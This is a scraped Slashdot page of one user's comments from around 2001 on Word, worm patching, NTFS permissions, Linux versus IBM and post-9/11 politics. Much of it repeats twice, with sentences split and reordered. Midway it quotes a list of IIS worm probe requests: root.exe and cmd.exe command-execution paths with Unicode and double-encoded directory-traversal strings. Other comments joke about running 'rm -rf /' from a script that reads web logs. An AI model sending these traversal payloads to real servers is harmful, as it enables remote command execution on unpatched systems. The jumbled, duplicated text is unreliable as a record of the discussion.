Microsoft Word. Throw something at it and it will come out looking pretty good. But if you actually care about what it looks like, Microsoft Word will drive you crazy. It has a mind of its own and I have yet to see anyone get the upper hand.
The question is whether or not Bob can discern whether Alice is detecting photons (plural) with horizontal or vertical polarization. If he can, then Alice can communicate to Bob.
If the software needs to be patched and it is not patched, that situation looks like a doozy of a security flaw.
My guess is that whenever Linux does come equipped with self-executable email attachments and web-based gizmos, that enough will be swiped from FreeBSD jail and extended so that it can be done with impunity. Bit like doing rm -rf / by a throwaway account.
Hmm, Microsoft has had a patch out for about a year now... and the worm still works very well.
Might be a case of unwilling, but with a whole year to prepare for the attack, it sure does look like "there's *nothing* Microsoft can do to stop this sort of virus."
Microsoft having the patch doesn't seem to do much good. Maybe needs something like the users actually installing it?
HeHe. "Set up NTFS ACLs properly" is a prerequisite for setting up a throwaway test account. It's long and painful to do a very poor job of it. I'm not about to try to harden the filesystem from new accounts.
NTFS ACLs are so specific and expansive it beats rwxrwxrwx hands down. Quick, who has what kind of access to what? Good idea for a few dozen files. Major pain for several thousand. I suspect most *nix users barely make any use of group privileges. Lots of wierd permissions does not help.
Consider a very insecure multi-user setup, say RedHat out of the box and then weakened considerably.
it's a wonder no one hasn't released a perl script that anylizes your web logs and erases all the user files it can. Ok. Web logs. Let's run it as the same user as the web server. Can it read the web logs? Maybe. Do a `rm -rf/`. Fun to try on a production box, assuming you can even get a login to take.
The advantage of a multiuser system is that it is multiuser. There is no reason I would ever have just one login on a system. If I'm going to run some varient of the honor virus, I'm going to do it under a login I don't mind trashing.
Have the terrorists won already?
If they've succeeded into making this a police state, they've won. Makes no difference who we do or do not get in Afganistan.
To add another point to the lineage.
From Concurrent PC DOS manual dated September 1984
Concurrent release 3.2 is a multitasking operating system that allows you to run both PC DOS and CP/M-86 applications simultaneously. Concurrent supports major popular applications--such as Lotus 1-2-3, dBASEII, WordStar, and MultiPlan Worksheet--and lets you run up to four interactive applications at once.
... supports up to four floppy-disk drives and two hard-disk drives (CP/M or PC DOS formatted).... can make full use of up to 640 kilobytes of memory
"Apparently, it's better than AIX"
No. In 5 years? In 10 years?
Current Linux might be rock-solid, but there is not yet the years of field experience to know. I suspect that in this environment, one unknown bug is worth about ten known bugs.
We want IBM reliability, IBM support, and IBM accountability. When and if you want or need to switch, your odds just improved. The irony is that all this makes your not switching a more viable position. It also makes it more likely that you're actually getting your money's worth.
It's a bad idea to lock yourself into a single vendor, even if the vendor is yourself.
There are some minor short-term advantages to an IBM distro, but a lot of long-term disadvantages which are not minor. The key to the future is interoperability and a few minor bits of fragmentation actually helps. Even OpenBSD can run Linux binaries.
Well, next is the sexium and then the septium.
But they'll do some yet another pentium. Pentium 5 should bring a few giggles. Pentium 6 sounds definitely screwy.
Hexium is even worse. Imagine "evil hackers" with their hexium computors.;)
Put the database access stuff in a file that is included. You want a filename/extension that will not be served up by the web server if accessed directly.
You open a hole in the system.
You don't leave the hole open any more than necessary.
A bit like opening the door to a safe. You can't get at anything until you open the safe. When you're through, you shut the door.
What's with all this technical staff to maintain the machines?
With about a half-assed setup (you don't really need bind and lpr, do you?) it's pretty close to zero-maintenance for the stuff you need. If someone manages to really screw it up, you can easily reinstall (might put/home on its own filesystem)
OS vs OS is a matter of opinion. Informed opinion is better, which requires education.
Whether you can get education from the education system is a different matter.
Slashdot Mirror
Microsoft Word. Throw something at it and it will come out looking pretty good. But if you actually care about what it looks like, Microsoft Word will drive you crazy. It has a mind of its own and I have yet to see anyone get the upper hand.
The question is whether or not Bob can discern whether Alice is detecting photons (plural) with horizontal or vertical polarization. If he can, then Alice can communicate to Bob.
Webcurity by webscurity.
Agreed, it needs to die a quick uneventful death.
If the software needs to be patched and it is not patched, that situation looks like a doozy of a security flaw.
My guess is that whenever Linux does come equipped with self-executable email attachments and web-based gizmos, that enough will be swiped from FreeBSD jail and extended so that it can be done with impunity. Bit like doing rm -rf / by a throwaway account.
Hmm, Microsoft has had a patch out for about a year now ... and the worm still works very well.
Might be a case of unwilling, but with a whole year to prepare for the attack, it sure does look like "there's *nothing* Microsoft can do to stop this sort of virus."
Microsoft having the patch doesn't seem to do much good. Maybe needs something like the users actually installing it?
That's why I don't run anti-virus software. ;-)
Then there's the dreaded "anti" virus
HeHe. "Set up NTFS ACLs properly" is a prerequisite for setting up a throwaway test account. It's long and painful to do a very poor job of it. I'm not about to try to harden the filesystem from new accounts.
NTFS ACLs are so specific and expansive it beats rwxrwxrwx hands down. Quick, who has what kind of access to what? Good idea for a few dozen files. Major pain for several thousand. I suspect most *nix users barely make any use of group privileges. Lots of wierd permissions does not help.
Nope. Guilt by association is experience.
Yep, whether you use it
or buy the CDs.
Death to all bugs
or 'tis the bugs you appease.
"this will be used in slot machines and ATMs" ;-)
Well, it's always been somewhat of a gamble
GET /scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
Consider a very insecure multi-user setup, say RedHat out of the box and then weakened considerably. /`. Fun to try on a production box, assuming you can even get a login to take.
it's a wonder no one hasn't released a perl script that anylizes your web logs and erases all the user files it can.
Ok. Web logs. Let's run it as the same user as the web server. Can it read the web logs? Maybe. Do a `rm -rf
The advantage of a multiuser system is that it is multiuser. There is no reason I would ever have just one login on a system. If I'm going to run some varient of the honor virus, I'm going to do it under a login I don't mind trashing.
I don't run unknown binaries. This includes "patches".
Supreme irony. Ashcroft as Public Enemy #1.
If our rights are taken away, and this becomes a police state, the terrorists have won.
Have the terrorists won already?
If they've succeeded into making this a police state, they've won. Makes no difference who we do or do not get in Afganistan.
To add another point to the lineage.
... can make full use of up to 640 kilobytes of memory
From Concurrent PC DOS manual dated September 1984
Concurrent release 3.2 is a multitasking operating system that allows you to run both PC DOS and CP/M-86 applications simultaneously. Concurrent supports major popular applications--such as Lotus 1-2-3, dBASEII, WordStar, and MultiPlan Worksheet--and lets you run up to four interactive applications at once.
... supports up to four floppy-disk drives and two hard-disk drives (CP/M or PC DOS formatted).
"Apparently, it's better than AIX"
No.
In 5 years? In 10 years?
Current Linux might be rock-solid, but there is not yet the years of field experience to know. I suspect that in this environment, one unknown bug is worth about ten known bugs.
We want IBM reliability, IBM support, and IBM accountability.
When and if you want or need to switch, your odds just improved. The irony is that all this makes your not switching a more viable position. It also makes it more likely that you're actually getting your money's worth.
It's a bad idea to lock yourself into a single vendor, even if the vendor is yourself.
There are some minor short-term advantages to an IBM distro, but a lot of long-term disadvantages which are not minor. The key to the future is interoperability and a few minor bits of fragmentation actually helps. Even OpenBSD can run Linux binaries.
Well, next is the sexium and then the septium. ;)
But they'll do some yet another pentium. Pentium 5 should bring a few giggles. Pentium 6 sounds definitely screwy.
Hexium is even worse. Imagine "evil hackers" with their hexium computors.
Put the database access stuff in a file that is included. You want a filename/extension that will not be served up by the web server if accessed directly.
From the XP ad,
Yes you can.
You open a hole in the system.
You don't leave the hole open any more than necessary.
A bit like opening the door to a safe. You can't get at anything until you open the safe. When you're through, you shut the door.
What's with all this technical staff to maintain the machines? /home on its own filesystem)
With about a half-assed setup (you don't really need bind and lpr, do you?) it's pretty close to zero-maintenance for the stuff you need. If someone manages to really screw it up, you can easily reinstall (might put
OS vs OS is a matter of opinion. Informed opinion is better, which requires education.
Whether you can get education from the education system is a different matter.
that has to propagate itself through that mess.